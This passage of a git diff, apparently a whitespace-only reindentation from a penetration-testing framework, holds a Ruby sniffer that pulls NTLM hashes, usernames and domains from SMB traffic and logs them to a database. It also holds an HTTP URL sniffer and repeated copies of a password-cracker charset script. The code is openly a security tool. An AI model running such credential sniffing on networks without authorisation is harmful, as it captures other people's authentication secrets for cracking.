#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response + #SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response class SnifferSMB < BaseProtocolParser - def register_sigs - self.sigs = { - :smb1_negotiate => /\xffSMB\x72/n, - :smb1_setupandx => /\xffSMB\x73/n, - #:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n, - :smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n - } - end - - def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445) - s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt)) - - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil - - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - end - - case matched - when :smb1_negotiate - payload = pkt.payload.dup - wordcount = payload[36,1].unpack("C")[0] - #negotiate response - if wordcount == 17 - flags2 = payload[14,2].unpack("v")[0] - #the server challenge is here - if flags2 & 0x800 == 0 - s[:challenge] = payload[73,8].unpack("H*")[0] - s[:last] = :smb1_negotiate - end - end - - when :smb1_setupandx - s[:smb_version] = "SMBv1" - parse_sessionsetup(pkt, s) - when :smb2_setupandx - s[:smb_version] = "SMBv2" - parse_sessionsetup(pkt, s) - when nil - # No matches, no saved state - else - sessions[s[:session]].merge!({k => matches}) - end # end case matched - - end # end of each_key - end # end of parse - - #ntlmv1, ntlmv2 or ntlm2_session - def detect_ntlm_ver(lmhash, ntlmhash) - return "NTLMv2" if ntlmhash.length > 48 - if lmhash.length == 48 and ntlmhash.length == 48 - if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16 - return "NTLM2_SESSION" - else - return "NTLMv1" - end - else - raise RuntimeError, "Unknow hash type" - end - end - - def parse_sessionsetup(pkt, s) - payload = pkt.payload.dup - ntlmpayload = payload[/NTLMSSP\x00.*/m] - if ntlmpayload - ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0] - case ntlmmessagetype - when 2 # challenge - s[:challenge] = ntlmpayload[24,8].unpack("H*")[0] - s[:last] = :ntlm_type2 - when 3 # auth - if s[:last] == :ntlm_type2 - lmlength = ntlmpayload[12, 2].unpack("v")[0] - lmoffset = ntlmpayload[16, 2].unpack("v")[0] - ntlmlength = ntlmpayload[20, 2].unpack("v")[0] - ntlmoffset = ntlmpayload[24, 2].unpack("v")[0] - domainlength = ntlmpayload[28, 2].unpack("v")[0] - domainoffset = ntlmpayload[32, 2].unpack("v")[0] - usrlength = ntlmpayload[36, 2].unpack("v")[0] - usroffset = ntlmpayload[40, 2].unpack("v")[0] - - s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || '' - s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || '' - s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || '' - s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || '' - - secbloblength = payload[51,2].unpack("v")[0] - names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - s[:peer_os] = names[0] || '' - s[:peer_lm] = names[1] || '' - s[:last] = :ntlm_type3 - end - end - else - wordcount = payload[36,1].unpack("C")[0] - #authentification without smb extended security (smbmount, msf server capture) - if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1" - lmlength = payload[51,2].unpack("v")[0] - ntlmlength = payload[53,2].unpack("v")[0] - s[:lmhash] = payload[65,lmlength].unpack("H*")[0] - s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0] - - names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - - s[:user] = names[0] - s[:domain] = names[1] - s[:peer_os] = names[2] - s[:peer_lm] = names[3] - s[:last] = :smb_no_ntlm - else - #answer from server - if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm - #do not output anonymous/guest logging - unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m - #set lmhash to a default value if not provided - s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m - s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash] - - smb_status = payload[9,4].unpack("V")[0] - if smb_status == 0 # success - - ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash]) - - logmessage = - "#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" + - "USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" + - "SERVER CHALLENGE:#{s[:challenge]} " + - "\nLMHASH:#{s[:lmhash]} " + - "\nNTHASH:#{s[:ntlmhash]}\n" - print_status(logmessage) - - src_ip = s[:client_host] - dst_ip = s[:host] - # know this is ugly , last code added :-/ - smb_db_type_hash = case ntlm_ver - when "NTLMv1" then "smb_netv1_hash" - when "NTLM2_SESSION" then "smb_netv1_hash" - when "NTLMv2" then "smb_netv2_hash" - end - # DB reporting - report_auth_info( - :host => dst_ip, - :port => 445, - :sname => 'smb', - :user => s[:user], - :pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge], - :type => smb_db_type_hash, - :proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}", - :active => true - ) - - report_note( - :host => src_ip, - :type => "smb_peer_os", - :data => s[:peer_os] - ) if (s[:peer_os] and s[:peer_os].strip.length > 0) - - report_note( - :host => src_ip, - :type => "smb_peer_lm", - :data => s[:peer_lm] - ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0) - - report_note( - :host => src_ip, - :type => "smb_domain", - :data => s[:domain] - ) if (s[:domain] and s[:domain].strip.length > 0) - - end - end - end - s[:last] = nil - sessions.delete(s[:session]) - end - end - end + def register_sigs + self.sigs = { + :smb1_negotiate => /\xffSMB\x72/n, + :smb1_setupandx => /\xffSMB\x73/n, + #:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n, + :smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n + } + end + + def parse(pkt) + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445) + s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt)) + + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil + + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + end + + case matched + when :smb1_negotiate + payload = pkt.payload.dup + wordcount = payload[36,1].unpack("C")[0] + #negotiate response + if wordcount == 17 + flags2 = payload[14,2].unpack("v")[0] + #the server challenge is here + if flags2 & 0x800 == 0 + s[:challenge] = payload[73,8].unpack("H*")[0] + s[:last] = :smb1_negotiate + end + end + + when :smb1_setupandx + s[:smb_version] = "SMBv1" + parse_sessionsetup(pkt, s) + when :smb2_setupandx + s[:smb_version] = "SMBv2" + parse_sessionsetup(pkt, s) + when nil + # No matches, no saved state + else + sessions[s[:session]].merge!({k => matches}) + end # end case matched + + end # end of each_key + end # end of parse + + #ntlmv1, ntlmv2 or ntlm2_session + def detect_ntlm_ver(lmhash, ntlmhash) + return "NTLMv2" if ntlmhash.length > 48 + if lmhash.length == 48 and ntlmhash.length == 48 + if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16 + return "NTLM2_SESSION" + else + return "NTLMv1" + end + else + raise RuntimeError, "Unknow hash type" + end + end + + def parse_sessionsetup(pkt, s) + payload = pkt.payload.dup + ntlmpayload = payload[/NTLMSSP\x00.*/m] + if ntlmpayload + ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0] + case ntlmmessagetype + when 2 # challenge + s[:challenge] = ntlmpayload[24,8].unpack("H*")[0] + s[:last] = :ntlm_type2 + when 3 # auth + if s[:last] == :ntlm_type2 + lmlength = ntlmpayload[12, 2].unpack("v")[0] + lmoffset = ntlmpayload[16, 2].unpack("v")[0] + ntlmlength = ntlmpayload[20, 2].unpack("v")[0] + ntlmoffset = ntlmpayload[24, 2].unpack("v")[0] + domainlength = ntlmpayload[28, 2].unpack("v")[0] + domainoffset = ntlmpayload[32, 2].unpack("v")[0] + usrlength = ntlmpayload[36, 2].unpack("v")[0] + usroffset = ntlmpayload[40, 2].unpack("v")[0] + + s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || '' + s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || '' + s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || '' + s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || '' + + secbloblength = payload[51,2].unpack("v")[0] + names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') } + s[:peer_os] = names[0] || '' + s[:peer_lm] = names[1] || '' + s[:last] = :ntlm_type3 + end + end + else + wordcount = payload[36,1].unpack("C")[0] + #authentification without smb extended security (smbmount, msf server capture) + if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1" + lmlength = payload[51,2].unpack("v")[0] + ntlmlength = payload[53,2].unpack("v")[0] + s[:lmhash] = payload[65,lmlength].unpack("H*")[0] + s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0] + + names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') } + + s[:user] = names[0] + s[:domain] = names[1] + s[:peer_os] = names[2] + s[:peer_lm] = names[3] + s[:last] = :smb_no_ntlm + else + #answer from server + if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm + #do not output anonymous/guest logging + unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m + #set lmhash to a default value if not provided + s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m + s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash] + + smb_status = payload[9,4].unpack("V")[0] + if smb_status == 0 # success + + ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash]) + + logmessage = + "#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" + + "USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" + + "SERVER CHALLENGE:#{s[:challenge]} " + + "\nLMHASH:#{s[:lmhash]} " + + "\nNTHASH:#{s[:ntlmhash]}\n" + print_status(logmessage) + + src_ip = s[:client_host] + dst_ip = s[:host] + # know this is ugly , last code added :-/ + smb_db_type_hash = case ntlm_ver + when "NTLMv1" then "smb_netv1_hash" + when "NTLM2_SESSION" then "smb_netv1_hash" + when "NTLMv2" then "smb_netv2_hash" + end + # DB reporting + report_auth_info( + :host => dst_ip, + :port => 445, + :sname => 'smb', + :user => s[:user], + :pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge], + :type => smb_db_type_hash, + :proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}", + :active => true + ) + + report_note( + :host => src_ip, + :type => "smb_peer_os", + :data => s[:peer_os] + ) if (s[:peer_os] and s[:peer_os].strip.length > 0) + + report_note( + :host => src_ip, + :type => "smb_peer_lm", + :data => s[:peer_lm] + ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0) + + report_note( + :host => src_ip, + :type => "smb_domain", + :data => s[:domain] + ) if (s[:domain] and s[:domain].strip.length > 0) + + end + end + end + s[:last] = nil + sessions.delete(s[:session]) + end + end + end end diff --git a/data/exploits/psnuffle/url.rb b/data/exploits/psnuffle/url.rb index 467bab5203ad..d90f254caaa9 100755 --- a/data/exploits/psnuffle/url.rb +++ b/data/exploits/psnuffle/url.rb @@ -6,43 +6,43 @@ # Sniffer class for GET URL's class SnifferURL < BaseProtocolParser - def register_sigs - self.sigs = { - :get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i, - :webhost => /^HOST\:\s+([^\n\r]+)/i, - } - end + def register_sigs + self.sigs = { + :get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i, + :webhost => /^HOST\:\s+([^\n\r]+)/i, + } + end - def parse(pkt) - # We want to return immediantly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80) - s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt)) + def parse(pkt) + # We want to return immediantly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80) + s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt)) - self.sigs.each_key do |k| + self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - sessions[s[:session]].merge!({k => matches}) - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + sessions[s[:session]].merge!({k => matches}) + end - case matched - when :webhost - sessions[s[:session]].merge!({k => matches}) - if(s[:get]) - print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}") - sessions.delete(s[:session]) - return - end - when nil - # No matches, no saved state - end # end case matched - end # end of each_key - end # end of parse + case matched + when :webhost + sessions[s[:session]].merge!({k => matches}) + if(s[:get]) + print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}") + sessions.delete(s[:session]) + return + end + when nil + # No matches, no saved state + end # end case matched + end # end of each_key + end # end of parse end # end of URL sniffer diff --git a/data/john/run.linux.x64.mmx/genincstats.rb b/data/john/run.linux.x64.mmx/genincstats.rb index 42d9b6ef6dcc..d415a55f97c0 100644 --- a/data/john/run.linux.x64.mmx/genincstats.rb +++ b/data/john/run.linux.x64.mmx/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ def help ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.linux.x86.any/genincstats.rb b/data/john/run.linux.x86.any/genincstats.rb index 42d9b6ef6dcc..d415a55f97c0 100644 --- a/data/john/run.linux.x86.any/genincstats.rb +++ b/data/john/run.linux.x86.any/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ def help ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.linux.x86.mmx/genincstats.rb b/data/john/run.linux.x86.mmx/genincstats.rb index 42d9b6ef6dcc..d415a55f97c0 100644 --- a/data/john/run.linux.x86.mmx/genincstats.rb +++ b/data/john/run.linux.x86.mmx/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ def help ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.linux.x86.sse2/genincstats.rb b/data/john/run.linux.x86.sse2/genincstats.rb index 42d9b6ef6dcc..d415a55f97c0 100644 --- a/data/john/run.linux.x86.sse2/genincstats.rb +++ b/data/john/run.linux.x86.sse2/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ def help ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when 